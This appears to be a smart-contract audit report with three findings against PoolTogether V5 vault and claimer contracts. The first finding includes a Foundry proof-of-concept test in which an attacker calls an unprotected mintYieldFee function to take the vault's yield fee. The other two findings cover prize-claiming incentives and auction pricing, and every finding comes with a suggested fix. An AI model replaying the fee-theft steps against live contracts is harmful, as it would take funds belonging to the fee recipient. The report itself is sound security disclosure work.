PoolTogether - markus_ether's results

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L395

Vulnerability details

Impact

The _yieldFeeRecipient can claim some of the fees earned in the vault by calling mintYieldFee. The function has no access control so anyone can call the function and claim the yield fee for themselves.

Proof of Concept

In the below test an attacker (Alice) mints the yield fee share to an controlled address (0xf) without being authorized to call the function.

function testStealYieldFee() external {

// setup
_setLiquidationPair();
vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE);
vault.setYieldFeeRecipient(bob);
underlyingAsset.mint(address(this), 1000e18);
_sponsor(underlyingAsset, vault, 1000e18, address(this));
_accrueYield(underlyingAsset, yieldVault, 10e18);
vm.startPrank(alice);
prizeToken.mint(alice, 1000e18);
uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault));
_liquidate(liquidationRouter, liquidationPair, prizeToken, _liquidatedYield, alice);
vm.stopPrank();

  

// pre checks
assertNotEq(vault.yieldFeeRecipient(), alice);
uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE);


// alice steal funds
vm.startPrank(alice);
vm.expectEmit();
emit MintYieldFee(alice, address(0xf), _yieldFeeShares);
vault.mintYieldFee(_yieldFeeShares, address(0xf));


// post checks
assertEq(vault.balanceOf(address(0xf)), _yieldFeeShares);
}

Tools Used

Manual review, VSCode

Recommended Mitigation Steps

Add access control so that only the fee recipient can call the function:

function mintYieldFee(uint256 _shares, address _recipient) external {
_requireVaultCollateralized();
+require(msg.sender == _yieldFeeRecipient, 'Wrong caller');
}

Assessed type

Access Control

Lines of code

https://github.com/GenerationSoftware/pt-v5-claimer/blob/57a381aef690a27c9198f4340747155a71cae753/src/Claimer.sol#L210 https://github.com/GenerationSoftware/pt-v5-claimer/blob/57a381aef690a27c9198f4340747155a71cae753/src/Claimer.sol#L173

Vulnerability details

Impact

PoolTogether V5 delegates the task of claiming the prizes to a network of Claimers that are incentivized to claim prizes for a share of the prize won. The fees the Claimant receives is calculated based on an Dutch Auction, but the limited by the minimum prize of the price pool

fee = min( fee in auction, % maxFeePortionOfPrize * minPrize)

When the gas costs exceed the minPrize the solver has not incentives to claim the price. Notice that the number of prizes only adjusts after very few prizes are claimed.

Proof of Concept

Gas prices rise well above the minPrize. The highest prize is suddenly drawn that day. The solvers have no incentive to claim the prize and the winner does not monitor the contract. As a result, no one claims the top prize. The protocol suffers a loss of reputation.

Tools Used

Manual review, VS Code

Recommended Mitigation Steps

The problem is that the incentives are not exactly aligned. The user is willing to pay anything up to his price p to receive his price. But the maximum that the solvers receives is the minimum price. We can align the two incentives by using each user's price as an upper bound.

function _computeMaxFee(uint8 _tier, uint8 _numTiers) internal view returns (uint256) {
    uint8 _canaryTier = _numTiers - 1;
    if (_tier != _canaryTier) {
      // canary tier
-     return _computeMaxFee(prizePool.getTierPrizeSize(_canaryTier - 1));
+	  return _computeMaxFee(prizePool.getTierPrizeSize(_tier));
	} else {
      return _computeMaxFee(prizePool.getTierPrizeSize(_canaryTier));
    }
  }

Since we already validate the inputs in claimPrize the attacker can not claim more than the prize is worth.

Assessed type

Other

Lines of code

https://github.com/GenerationSoftware/pt-v5-claimer/blob/57a381aef690a27c9198f4340747155a71cae753/src/Claimer.sol#L137-L140

Vulnerability details

Impact

The protocol utilizes Gradual Dutch Auctions to determine the price paid to claimants. In the original paper, the number of assets owned is known in advance, enabling the auction to precisely adjust prices based on demand. However, the number of prices in the PoolTogether pool is stochastic, which can lead to pricing discrepancies when the actual number deviates significantly from the expected number.

Proof of Concept

The formula to derive the reward the claimer receives for getting an auction is

auction prize = p * e^(t - n / r)

, where t is the time passed, n is the number of claims and r is the expected number of claims per second. When the number of claims is right on target then t = n / r, so we sell at the target price p. When we have claimed a larger number of units n then expected, then t << n / r, so the prize will significantly drop below the target prize. The auction price drops below the gas fees, so many prizes will remain unclaimed.

Tools Used

Manual review, VS Code

Recommended Mitigation Steps

With a large number of tiers, users and vault the probability of a large deviation is small.

For a small number of tiers, we should calculate the maximum number of prizes that will appear with a high probability (i.e. a number of draws that is not exceeded in 99.9% of the cases). We call this number the limitPrizeCount. We use the limit to estimate the maximum number of units drawn per second instead of the average number of units drawn:

SD59x18 perTimeUnit = LinearVRGDALib.getPerTimeUnit(
-    prizePool.estimatedPrizeCount(),
+    prizePool.limitPrizeCount()
     timeToReachMaxFee
    );

Assessed type

Other